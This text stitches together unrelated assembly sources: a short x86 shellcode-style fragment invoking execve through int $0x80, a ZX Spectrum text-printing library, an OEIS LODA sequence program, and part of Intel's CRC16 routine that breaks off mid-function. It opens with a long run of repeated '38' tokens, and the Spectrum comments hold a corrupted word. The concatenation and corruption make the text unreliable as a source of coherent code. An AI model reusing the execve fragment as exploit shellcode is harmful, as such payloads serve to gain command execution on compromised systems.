38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
{0}
mov %esp,%ebx
xor %eax,%eax
push %eax
mov %esp,%edx
push %ebx
mov %esp,%ecx
push %edx
push %ecx
push %ebx
mov $0x3b,%al
push $0x2a
int $0x80
mov $0x1,%al
mov $0x1,%bl
int $0x80 |
/*
; In this module are many routines to print words on the spectrum display
** COOL_PRINT
This takes a string and displays it on the screen. Sounds simple, but has LOADs of controls that can be specified. For example:
dw pAt,3,10,pInk,Blue,pPaper,Yellow,pBright,pBold,pDown"Hello World"
This will print at screen location x=3,y=10, with blue ink, yellow paper, bright, bold writing down (not right) the words "Hello World".
This is great for building fun text screens like for adventures. Here's a list of possible controls:
pAt x32,y24 pColour colourFF pInk Colour8 pPaper pBright pNotBright
pFlash pNotFlash pBold pNotBold pUnderscore pNotUnderscore
pStrikeThrough pNotStrikeThrough pItalic pNotItalic pMirrorX pNotMirrorX
pMirrorY pNotMirrorY pReset pDefault pInverse pIncx
pIncy pRotate pSizex pSizey pMemory pRight
pLeft pDown pUp pRat
Note: Since this is SO rich with function it does come with the price of slower performance.
** PRINT_WORD screenyx, memory_loc, colour
This is a macro that takes 3 parameters.
- screenxy - The screen location: y=0-191, x=0-31
- memory_loc - the location of a zero terminated string
- colour - standard speccy colour format: [flash][bright][paper][ink]
** PRINT_8x8_GRAPHIC screenyx, memory_loc, colour
This is a macro that takes 3 parameters.
- screenxy - The screen location: y=0-191, x=0-31
- memory_loc - the location of graphic
- colour - standard speccy colo888888ur format: [flash][bright][paper][ink]
** PRINT_REGISTER reg
This will print the value of a register to the bottom right of the screen. Parameters:
- reg - the register to print.
Note: This is useful for debugging
** PRINT_REGISTER_AT screenyx8, reg
This will print the value of a register at the location specified to the screen. Parameters:
- screenyx8 - The screen location: y=0-191, x=0-31
Note: This is useful for debugging
*/
ifndef PRINT_LETTERS_ASM
define PRINT_LETTERS_ASM
jp PRINT_LETTERS.print_letters_end
include colour.asm
include helper.asm
; COOL_PRINT: A great way of printing text to the screen with lots of widgets
; memory_str = holds the memory location of a zero terminated string. Many special characters can be used
macro COOL_PRINT memory_str
push hl
ld hl, memory_str
call PRINT_LETTERS.cool_print
pop hl
endm
; COOL_PRINTS: Like COOL_PRINT but many strings
; memory_str = holds an array of strings with a zero terminated string.
macro COOL_PRINTS memory_str
push hl
ld hl, memory_str
call PRINT_LETTERS.cool_prints
pop hl
endm
; 0,1,2, 3,4, 5 6 7 8 9, 10
cp_str db pRat,0,0,pColour,BgWhite+FgBlack,pBold,pMemory,0,0,' ',0
macro COOL_AT screeny8x8, memory_loc, colour, pAction
push hl,de
ld hl,screeny8x8
MEM_SET cp_str+1,l ; screen
MEM_SET cp_str+2,h ; location
ld hl,memory_loc ; this should point to the char, but we're print space so -32*8
ld de,32*8
sub hl,de
MEM_SET cp_str+7,l ; memory
MEM_SET cp_str+8,h ; location
MEM_SET cp_str+4,colour
MEM_SET cp_str+5,pAction
ld hl, cp_str
call PRINT_LETTERS.cool_print
pop de,hl
endm
; PRINT_WORD: on the screen
; h = y axis, pixel level
; l = x8 axis, char level
macro PRINT_WORD screenyx8, memory_loc, colour
push hl,de,bc
ld c, colour
ld hl, screenyx8
ld de, memory_loc
call PRINT_LETTERS.priv_print_word
pop bc,de,hl
endm
; PRINT_8x8_GRAPHIC: on the screen
; h = y axis, pixel level
; l = x8 axis, char level
macro PRINT_8x8_GRAPHIC screeny8x8, memory_loc, colour
push hl,de,bc
ld c, colour
ld hl, screeny8x8
.3 sla h
ld de, memory_loc
call PRINT_LETTERS.priv_print_8x8_graphic
pop bc,de,hl
endm
macro PRINT_REGISTER reg
push de
ld de,reg
call PRINT_LETTERS.print_hex
pop de
endm
macro PRINT_REGISTER_AT screenyx8, reg
push de,hl
ld de,reg
ld hl,screenyx8
call PRINT_LETTERS.print_hex_at
pop hl,de
endm
pAt equ $81 ; x(0-31),y(0-24) location
pColour equ $82 ; c(0-255) colour: flash(0/1),bright(0/1),paper(0/7),ink(0/7)
pInk equ $83 ; ink (0-7)
pPaper equ $84 ; paper (0-7)
pBright equ $85 ;
pNotBright equ $86 ;
pFlash equ $87 ;
pNotFlash equ $88 ;
pBold equ $89 ;
pNotBold equ $8a ;
pUnderscore equ $8b ;
pNotUnderscore equ $8c ;
pStrikeThrough equ $8d ;
pNotStrikeThrough equ $8e ;
pItalic equ $8f ;
pNotItalic equ $90 ;
pMirrorX equ $91 ;
pNotMirrorX equ $92 ;
pMirrorY equ $93 ;
pNotMirrorY equ $94 ;
pReset equ $95 ; Reset all colours, x, y etc back to default values
pDefault equ $96 ; Make the present configuration the new default
pInverse equ $97 ; reverse the paper and ink colours
pIncx equ $98 ; -x to x will be added to x and then and 32
pIncy equ $99 ; -x to x will be added to y and then and 32
pRotate equ $9a ; 0,1,2,3: 0:None, 1:90 degress, 2:180 degress, 3:270 degress
pSizex equ $9b ; 1-4
pSizey equ $9c ; 1-4
pMemory equ $9d ; memory address
pRight equ $9e ; Reset all turning stuff, and print right
pLeft equ $9f ; Reset all turning stuff, and print left
pDown equ $a0 ; Reset all turning stuff, and print downwards
pUp equ $a1 ; Reset all turning stuff, and print upwards
pRat equ $a2 ; Reset and print at
pRepeat equ $a3 ; Repeat the last character
pRotate1 equ $a4 ; 90 degress
MODULE PRINT_LETTERS
; Point HL to a list of strings, terminated with 0,0
cool_prints
push hl,de
.next
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld a,d
or e
cp 0
jr z,.end1
COOL_PRINT de
jr .next
.end1
pop de,hl
ret
; To dos: reset 1,2,3,4, size x,y
struct p_mem
x byte 8
y byte 0
colour byte 0
incx byte 1
incy byte 0
bold byte 0
underscore byte 0
strikethrough byte 0
italic byte 0
mirrorx byte 0
mirrory byte 0
rotate byte 0
sizex byte 0
sizey byte 0
memory word $3c00
ends
p_init_memory_values
db 0 ; x
db 0 ; y
db BgWhite+FgBlack ; colour
db 1 ; move right - inc x
db 0 ; dont move down - inc y
db FALSE ; bold or not
db FALSE ; underscore or not
db FALSE ; strikethrough or not
db FALSE ; italic or not
db FALSE ; mirrorx or not
db FALSE ; mirrory or not
db 0 ; rotate 0,1,2,3
db 1 ; size x
db 1 ; size y
dw $3c00 ; Memory location to find the characters
p_default_memory_values
db 0 ; x
db 0 ; y
db BgWhite+FgBlack ; colour
db 1 ; move right - inc x
db 0 ; dont move down - inc y
db FALSE ; bold or not
db FALSE ; underscore or not
db FALSE ; strikethrough or not
db FALSE ; italic or not
db FALSE ; mirrorx or not
db FALSE ; mirrory or not
db 0 ; rotate 0,1,2,3
db 1 ; size x
db 1 ; size y
dw $3c00 ; Memory location to find the characters
call_control_table
dw private_pAt, private_pColour
dw private_pInk, private_pPaper
dw private_pBright, private_pNotBright
dw private_pFlash, private_pNotFlash
dw private_pBold, private_pNotBold
dw private_pUnderscore, private_pNotUnderscore
dw private_pStrikeThrough, private_pNotStrikeThrough
dw private_pItalic, private_pNotItalic
dw private_pMirrorX, private_pNotMirrorX
dw private_pMirrorY, private_pNotMirrorY
dw private_pReset, private_pDefault
dw private_pInverse
dw private_pIncx, private_pIncy
dw private_pRotate
dw private_pSizeX, private_pSizeY
dw private_pMemory
dw private_pRight, private_pLeft
dw private_pDown, private_pUp
dw private_pRat, private_pRepeat, private_pRotate1
; hl holds pointer to string which is zero terminated
cool_print_work_area
db 0 ; +0 last char printed
cool_print
push ix, hl, de, bc
ld ix, p_init_memory_values
.next1
ld a,(hl)
CP 0
_IF_NOT 0, a,0
cp $80 ; if greater than $80 then it's a control character
jr nc, .control_char
ld (cool_print_work_area+0),a
call print_next_letter ; print the letter
call move_xy_screen_pointers
inc hl
jr .next1
.control_char ; get the callable location from callable control table
push hl
sub pAt
add a,a
ld e,a
ld d,0
ld hl, call_control_table
add hl,de
ld e,(hl)
inc hl
ld d,(hl)
ld bc,.l2
pop hl
push bc ; Push .l2 which is the next part of this routine which will be used on ret
push de ; Push the callable routine, then return to call that routine
ret
.l2 inc hl
jp .next1
_END_IF_NO_ELSE 0
pop bc, de, hl, ix
ret
move_xy_screen_pointers
push bc
IX_GET b,p_mem.incx ; move x
IX_GET a,p_mem.x
add a,b
and $1f
IX_SET p_mem.x,a
IX_GET b,p_mem.incy ; move y
IX_GET a,p_mem.y
add a,b
and $1f
IX_SET p_mem.y,a
pop bc
ret
/////////////////////////////////////////////////////////////////////////////////////
// CONTROL CHARACTERS:
/////////////////////////////////////////////////////////////////////////////////////
private_pRat ; RESET and AT
call private_pReset
inc hl : IX_SET p_mem.x,(hl)
inc hl : IX_SET p_mem.y,(hl)
ret
private_pAt ; AT
inc hl : IX_SET p_mem.x,(hl)
inc hl : IX_SET p_mem.y,(hl)
ret
private_pColour ; COLOUR
inc hl : IX_SET p_mem.colour,(hl)
ret
private_pInk ; INK
inc hl
ld a,(hl)
and 7
ld b,a
IX_GET a,p_mem.colour
and 11111000b
or b
IX_SET p_mem.colour,a
ret
private_pPaper ; PAPER
inc hl
ld a,(hl)
and 7
.3 add a,a
ld b,a
IX_GET a,p_mem.colour
and 11000111b
or b
IX_SET p_mem.colour,a
ret
private_pBright ; BRIGHT
IX_GET a,p_mem.colour
or 01000000b
IX_SET p_mem.colour,a
ret
private_pNotBright
IX_GET a,p_mem.colour
and 10111111b
IX_SET p_mem.colour,a
ret
private_pFlash ; FLASH
IX_GET a,p_mem.colour
or 10000000b
IX_SET p_mem.colour,a
ret
private_pNotFlash
IX_GET a,p_mem.colour
and 10111111b
IX_SET p_mem.colour,a
ret
private_pBold ; BOLD
IX_SET p_mem.bold,$ff
ret
private_pNotBold
IX_SET p_mem.bold,0
ret
private_pUnderscore ; UNDERSCORE
IX_SET p_mem.underscore,$ff
ret
private_pNotUnderscore
IX_SET p_mem.underscore,0
ret
private_pStrikeThrough ; STRIKE THROUGH
IX_SET p_mem.strikethrough,$ff
ret
private_pNotStrikeThrough
IX_SET p_mem.strikethrough,0
ret
private_pItalic ; ITALIC
IX_SET p_mem.italic,$ff
ret
private_pNotItalic
IX_SET p_mem.italic,0
ret
private_pMirrorX ; MIRROR X
IX_SET p_mem.mirrorx,$ff
ret
private_pNotMirrorX
IX_SET p_mem.mirrorx,0
ret
private_pMirrorY ; MIRROR Y
IX_SET p_mem.mirrory,$ff
ret
private_pNotMirrorY
IX_SET p_mem.mirrory,0
ret
private_pRotate ; ROTATE
inc hl
ld a,(hl)
and 3
IX_SET p_mem.rotate,a
ret
private_pRotate1 ; ROTATE1
IX_SET p_mem.rotate,1
ret
private_pInverse ; INVERSE
IX_GET a,p_mem.colour
ld c,a
and 7
.3 add a,a
ld b,a
ld a,c
and 00111000b
DIV_8 a
or b
ld b,a
ld a,c
and 11000000b
or b
IX_SET p_mem.colour,a
ret
private_pIncx ; INCX
inc hl : IX_SET p_mem.incx,(hl)
ret
private_pIncy ; INCY
inc hl : IX_SET p_mem.incy,(hl)
ret
private_pReset ; RESET - set all values back to the default value
push hl
ld hl,p_default_memory_values
ld de,p_init_memory_values
ld b,0
ld c,p_default_memory_values-p_init_memory_values
ldir
pop hl
ret
private_pDefault ; DEFAULT - Set these values as the new default
push hl
ld hl,p_init_memory_values
ld de,p_default_memory_values
ld b,0
ld c,p_default_memory_values-p_init_memory_values
ldir
pop hl
ret
private_pSizeX ; SIZE X
inc hl : IX_SET p_mem.sizex,(hl)
ret
private_pSizeY ; SIZE y
inc hl : IX_SET p_mem.sizey,(hl)
ret
private_pRepeat ; REPEAT number
inc hl
ld a,(hl)
and $1f
ld b,a
cp 0
jr z, .end1
ld a,(cool_print_work_area+0)
ld c,a
.repeat ld a,c
call print_next_letter ; print the letter
call move_xy_screen_pointers
djnz .repeat
.end1
ret
private_pMemory ; MEMORY
inc hl
ld e,(hl)
inc hl
ld d,(hl)
IX_SET p_mem.memory+0,e
IX_SET p_mem.memory+1,d
ret
private_pRight
IX_SET p_mem.incx,1
IX_SET p_mem.incy,0
IX_SET p_mem.mirrorx,0
IX_SET p_mem.mirrory,0
IX_SET p_mem.rotate,0
ret
private_pLeft
IX_SET p_mem.incx,-1
IX_SET p_mem.incy,0
IX_SET p_mem.mirrorx,0
IX_SET p_mem.mirrory,0
IX_SET p_mem.rotate,2
ret
private_pDown
IX_SET p_mem.incx,0
IX_SET p_mem.incy,1
IX_SET p_mem.mirrorx,0
IX_SET p_mem.mirrory,0
IX_SET p_mem.rotate,1
ret
private_pUp
IX_SET p_mem.incx,0
IX_SET p_mem.incy,-1
IX_SET p_mem.mirrorx,0
IX_SET p_mem.mirrory,0
IX_SET p_mem.rotate,3
ret
/////////////////////////////////////////////////////////////////////////////////////
// CREATING CHARACTERS:
/////////////////////////////////////////////////////////////////////////////////////
align 8
p_work_area db 0,0,0,0,0,0,0,0
p_work_area2 db 0,0,0,0,0,0,0,0
; ix holds p_mem structure
print_next_letter:
push hl,bc
call create_next_letter
call rotate_and_mirror
call draw_next_letter
pop bc,hl
ret
rotate_and_mirror
push ix
IX_GET a,p_mem.rotate
cp 0
jr z, .n1
ld b,a
.n2
call rotate90
djnz .n2
.n1
; mirror?
IX_GET a,p_mem.mirrorx
cp 0
call nz, image_mirrorx
IX_GET a,p_mem.mirrory
cp 0
call nz, image_mirrory
pop ix
ret
image_mirrorx
push hl, de, bc
ld b,8
ld de, p_work_area
ld hl, p_work_area2+7
.l ld a,(de)
ld (hl),a
inc de
dec hl
djnz .l
call copy_workarea2_back_to_1
pop bc, de, hl
ret
image_mirrory
push hl, de, bc
ld hl, p_work_area
ld b,8
.l2 ld e,(hl)
ld d,0
ld c,8
.l1 sla e
rr d
dec c
jr nz, .l1
ld (hl),d
inc hl
djnz .l2
pop bc, de, hl
ret
rotate90
push ix, hl, de, bc
; Rotate the original sprite but put into work_area2
call clear_work_area_2
ld hl, p_work_area
ld e,1 ; e holds position in new sprite
ld b,8
.l2 ld c,8
ld ix,p_work_area2+7
ld d,(hl) ; d holds original sprite line
.l1 srl d
jr nc, .n2
ld a,(ix)
or e
ld (ix),a
.n2 dec ix
dec c
jr nz, .l1
sla e
inc hl
djnz .l2
; Copy the image back to the original work area
call copy_workarea2_back_to_1
pop bc, de, hl, ix
ret
clear_work_area_2
ld hl, p_work_area2
ld b,8
.l1 ld (hl),0
inc hl
djnz .l1
ret
copy_workarea2_back_to_1
ld hl, p_work_area2
ld de, p_work_area
ld bc,8
ldir
ret
create_next_letter:
push bc,de,hl
ld b,a
IX_GET l, p_mem.x
IX_GET h, p_mem.y
IX_GET c, p_mem.colour
CALC_COLOUR_LOCATION8x8 hl
ld (hl), c
ld hl, p_work_area
ld a, b
call priv_get_letter_address
ld b, 8h
.pll1: ld a,(de)
ld c,a
IX_GET a,p_mem.bold
cp 0
jr z, .n1
ld a,c
add a,a
or c
ld c,a
.n1 IX_GET a,p_mem.italic
cp 0
jr z, .i2
; ITALICS
ld a,l
and 7
cp 3
jr nc, .i1
ld a,c
srl a
ld c,a
jr .i2
.i1 cp 5
jr c, .i2
ld a,c
add a,a
ld c,a
.i2 ld a,c
ld (hl),a
inc de
inc l
dec b
jr nz, .pll1
dec l
IX_GET a,p_mem.underscore
cp 0
jr z,.n2
; UNDERSCORE
ld (hl),$ff
.n2 IX_GET a,p_mem.strikethrough
cp 0
jr z,.n3
; STRIKE THROUGH
ld a,l
and 11111011b
ld l,a
ld a,(hl)
or $0f
ld (hl),a
inc l
ld a,(hl)
or $f0
ld (hl),a
.n3 pop hl,de,bc
ret
priv_get_letter_address:
; Set a to the character of interest
; Return the start location for DE in memory of the graphic letter
push hl
ld d,0
ld e,a
rl e : rl d
rl e : rl d
rl e : rl d
IX_GET h,p_mem.memory+1
IX_GET l,p_mem.memory
add hl,de
ld d,h
ld e,l
pop hl
ret
priv_get_letter_addr:
; Set a to the character of interest
; Return the start location for DE in memory of the graphic letter
push hl
ld d,0
ld e,a
rl e : rl d
rl e : rl d
rl e : rl d
ld hl, $3c00
add hl,de
ld d,h
ld e,l
pop hl
ret
/////////////////////////////////////////////////////////////////////////////////////
// PRINTING CHARACTERS:
/////////////////////////////////////////////////////////////////////////////////////
draw_next_letter
IX_GET l,p_mem.x
IX_GET h,p_mem.y
CALC_SCREEN_LOCATION8x8 hl
ld de, p_work_area
ld b, 8h
.n1 ld a,(de)
ld (hl),a
inc h
inc de
djnz .n1
ret
print_hex
; de holds hex to convert into a string
; and store in hex_to_string_mem
HEX_TO_STRING
PRINT_WORD $b81c, HEX_TO_STRING_MEM, FgWhite+BgBlack
ret
print_hex_at
; de holds hex to convert into a string
; and store in hex_to_string_mem
; hl - screen location
HEX_TO_STRING
PRINT_WORD hl, HEX_TO_STRING_MEM, FgWhite+BgBlack
ret
; h down 0-191
; l across 0-31
; de - memory location of word
priv_print_word:
push af
.pw1:
ld a, (de)
cp 0
jr z, .pw2
call priv_print_letter
inc de
inc l
jr .pw1
.pw2:
pop af
ret
; h down 0-23
; l across 0-31
; c colour
; a letter
priv_print_letter:
push bc,de,hl
CALC_SCREEN_LOCATION hl
call priv_get_letter_addr
ld b, 8h
.pll1:
ld a,(de)
ld (hl),a
inc de
INC_Y_SCREEN_LOCATION
dec b
jr nz, .pll1
; colour our letter
pop hl ; grab the screen location
push hl
CALC_COLOUR_LOCATION hl
ld (hl),c
pop hl,de,bc
ret
; h down 0-23
; l across 0-31
; c colour
; de memory of graphic
priv_print_8x8_graphic
push bc,de,hl
CALC_SCREEN_LOCATION hl
ld b, 8h
.pll1:
ld a,(de)
ld (hl),a
inc de
INC_Y_SCREEN_LOCATION
dec b
jr nz, .pll1
; colour our letter
pop hl ; grab the screen location
push hl
CALC_COLOUR_LOCATION hl
ld (hl),c
pop hl,de,bc
ret
print_letters_end: nop
ENDMODULE
ENDIF |
; A108872: Sums of ordinal references for a triangular table read by columns, top to bottom.
; Submitted by Christian Krause
; 2,3,4,4,5,6,5,6,7,8,6,7,8,9,10,7,8,9,10,11,12,8,9,10,11,12,13,14,9,10,11,12,13,14,15,16,10,11,12,13,14,15,16,17,18,11,12,13,14,15,16,17,18,19,20,12,13,14,15,16,17,18,19,20,21,22,13,14,15,16,17,18,19,20,21,22,23,24,14,15,16,17,18,19,20,21,22,23,24,25,26,15,16,17,18,19,20,21,22,23
mov $2,1
lpb $0
add $1,1
sub $0,$1
add $2,1
lpe
add $0,1
mov $1,$2
add $1,$0
mov $0,$1
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Function API:
; UINT16 crc16_t10dif_01(
; UINT16 init_crc, //initial CRC value, 16 bits
; const unsigned char *buf, //buffer pointer to calculate CRC on
; UINT64 len //buffer length in bytes (64-bit data)
; );
;
; Authors:
; Erdinc Ozturk
; Vinodh Gopal
; James Guilford
;
; Reference paper titled "Fast CRC Computation for Generic Polynomials Using PCLMULQDQ Instruction"
; URL: http://www.intel.com/content/dam/www/public/us/en/documents/white-papers/fast-crc-computation-generic-polynomials-pclmulqdq-paper.pdf
%include "reg_sizes.asm"
%define fetch_dist 1024
[bits 64]
default rel
section .text
%ifidn __OUTPUT_FORMAT__, win64
%xdefine arg1 rcx
%xdefine arg2 rdx
%xdefine arg3 r8
%xdefine arg1_low32 ecx
%else
%xdefine arg1 rdi
%xdefine arg2 rsi
%xdefine arg3 rdx
%xdefine arg1_low32 edi
%endif
%ifidn __OUTPUT_FORMAT__, win64
%define XMM_SAVE 16*2
%define VARIABLE_OFFSET 16*10+8
%else
%define VARIABLE_OFFSET 16*2+8
%endif
align 16
mk_global crc16_t10dif_01, function
crc16_t10dif_01:
; adjust the 16-bit initial_crc value, scale it to 32 bits
shl arg1_low32, 16
; After this point, code flow is exactly same as a 32-bit CRC.
; The only difference is before returning eax, we will shift it right 16 bits, to scale back to 16 bits.
sub rsp, VARIABLE_OFFSET
%ifidn __OUTPUT_FORMAT__, win64
; push the xmm registers into the stack to maintain
movdqa [rsp+16*2],xmm6
movdqa [rsp+16*3],xmm7
movdqa [rsp+16*4],xmm8
movdqa [rsp+16*5],xmm9
movdqa [rsp+16*6],xmm10
movdqa [rsp+16*7],xmm11
movdqa [rsp+16*8],xmm12
movdqa [rsp+16*9],xmm13
%endif
; check if smaller than 256
cmp arg3, 256
; for sizes less than 256, we can't fold 128B at a time...
jl _less_than_256
; load the initial crc value
movd xmm10, arg1_low32 ; initial crc
; crc value does not need to be byte-reflected, but it needs to be moved to the high part of the register.
; because data will be byte-reflected and will align with initial crc at correct place.
pslldq xmm10, 12
movdqa xmm11, [SHUF_MASK]
; receive the initial 128B data, xor the initial crc value
movdqu xmm0, [arg2+16*0]
movdqu xmm1, [arg2+16*1]
movdqu xmm2, [arg2+16*2]
movdqu xmm3, [arg2+16*3]
movdqu xmm4, [arg2+16*4]
movdqu xmm5, [arg2+16*5]
movdqu xmm6, [arg2+16*6]
movdqu xmm7, [arg2+16*7]
pshufb xmm0, xmm11
; XOR the initial_crc value
pxor xmm0, xmm10
pshufb xmm1, xmm11
pshufb xmm2, xmm11
pshufb xmm3, xmm11
pshufb xmm4, xmm11
pshufb xmm5, xmm11
pshufb xmm6, xmm11
pshufb xmm7, xmm11
movdqa xmm10, [rk3] ;xmm10 has rk3 and rk4
;imm value of pclmulqdq instruction will determine which constant to use
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; we subtract 256 instead of 128 to save one instruction from the loop
sub arg3, 256
; at this section of the code, there is 128*x+y (0<=y<128) bytes of buffer. The _fold_128_B_loop
; loop will fold 128B at a time until we have 128+y Bytes of buffer
; fold 128B at a time. This section of the code folds 8 xmm registers in parallel
_fold_128_B_loop:
; update the buffer pointer
add arg2, 128 ; buf += 128;
prefetchnta [arg2+fetch_dist+0]
movdqu xmm9, [arg2+16*0]
movdqu xmm12, [arg2+16*1]
pshufb xmm9, xmm11
pshufb xmm12, xmm11
movdqa xmm8, xmm0
movdqa xmm13, xmm1
pclmulqdq xmm0, xmm10, 0x0
pclmulqdq xmm8, xmm10 , 0x11
pclmulqdq xmm1, xmm10, 0x0
pclmulqdq xmm13, xmm10 , 0x11
pxor xmm0, xmm9
xorps xmm0, xmm8
pxor xmm1, xmm12
xorps xmm1, xmm13
prefetchnta [arg2+fetch_dist+32]
movdqu xmm9, [arg2+16*2]
movdqu xmm12, [arg2+16*3]
pshufb xmm9, xmm11
pshufb xmm12, xmm11
movdqa xmm8, xmm2
movdqa xmm13, xmm3
pclmulqdq xmm2, xmm10, 0x0
pclmulqdq xmm8, xmm10 , 0x11
pclmulqdq xmm3, xmm10, 0x0
pclmulqdq xmm13, xmm10 , 0x11
pxor xmm2, xmm9
xorps xmm2, xmm8
pxor xmm3, xmm12
xorps xmm3, xmm13
prefetchnta [arg2+fetch_dist+64]
movdqu xmm9, [arg2+16*4]
movdqu xmm12, [arg2+16*5]
pshufb xmm9, xmm11
pshufb xmm12, xmm11
movdqa xmm8, xmm4
movdqa xmm13, xmm5
pclmulqdq xmm4, xmm10, 0x0
pclmulqdq xmm8, xmm10 , 0x11
pclmulqdq xmm5, xmm10, 0x0
pclmulqdq xmm13, xmm10 , 0x11
pxor xmm4, xmm9
xorps xmm4, xmm8
pxor xmm5, xmm12
xorps xmm5, xmm13
prefetchnta [arg2+fetch_dist+96]
movdqu xmm9, [arg2+16*6]
movdqu xmm12, [arg2+16*7]
pshufb xmm9, xmm11
pshufb xmm12, xmm11
movdqa xmm8, xmm6
movdqa xmm13, xmm7
pclmulqdq xmm6, xmm10, 0x0
pclmulqdq xmm8, xmm10 , 0x11
pclmulqdq xmm7, xmm10, 0x0
pclmulqdq xmm13, xmm10 , 0x11
pxor xmm6, xmm9
xorps xmm6, xmm8
pxor xmm7, xmm12
xorps xmm7, xmm13
sub arg3, 128
; check if there is another 128B in the buffer to be able to fold
jge _fold_128_B_loop
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
add arg2, 128
; at this point, the buffer pointer is pointing at the last y Bytes of the buffer
; fold the 8 xmm registers to 1 xmm register with different constants
movdqa xmm10, [rk9]
movdqa xmm8, xmm0
pclmulqdq xmm0, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
xorps xmm7, xmm0
movdqa xmm10, [rk11]
movdqa xmm8, xmm1
pclmulqdq xmm1, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
xorps xmm7, xmm1
movdqa xmm10, [rk13]
movdqa xmm8, xmm2
pclmulqdq xmm2, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
pxor xmm7, xmm2
movdqa xmm10, [rk15]
movdqa xmm8, xmm3
pclmulqdq xmm3, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
xorps xmm7, xmm3
movdqa xmm10, [rk17]
movdqa xmm8, xmm4
pclmulqdq xmm4, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
pxor xmm7, xmm4
movdqa xmm10, [rk19]
movdqa xmm8, xmm5
pclmulqdq xmm5, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
xorps xmm7, xmm5
movdqa xmm10, [rk1] ;xmm10 has rk1 and rk2
;imm value of pclmulqdq instruction will determine which constant to use
movdqa xmm8, xmm6
pclmulqdq xmm6, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
pxor xmm7, xmm6
; instead of 128, we add 112 to the loop counter to save 1 instruction from the loop
; instead of a cmp instruction, we use the negative flag with the jl instruction
add arg3, 128-16
jl _final_reduction_for_128
; now we have 16+y bytes left to reduce. 16 Bytes is in register xmm7 and the rest is in memory
; we can fold 16 bytes at a time if y>=16
; continue folding 16B at a time
_16B_reduction_loop:
movdqa xmm8, xmm7
pclmulqdq xmm7, xmm10, 0x11
pclmulqdq xmm8, xmm10, 0x0
pxor xmm7, xmm8
movdqu xmm0, [arg2]
pshufb xmm0, xmm11
pxor xmm7, xmm0
add arg2, 16
sub arg3, 16
; instead of a cmp instruction, we utilize the flags with the jge instruction
; equivalent of: cmp arg3, 16-16
; check if there is any more 16B in the buffer to be able to fold
jge _16B_reduction_loop
;now we have 16+z bytes left to reduce, where 0<= z < 16.
;first, we reduce the data in the xmm7 register
_final_reduction_for_128:
; check if any more data to fold. If not, compute the CRC of the final 128 bits
add arg3, 16
je _128_done
; here we are getting data that is less than 16 bytes.
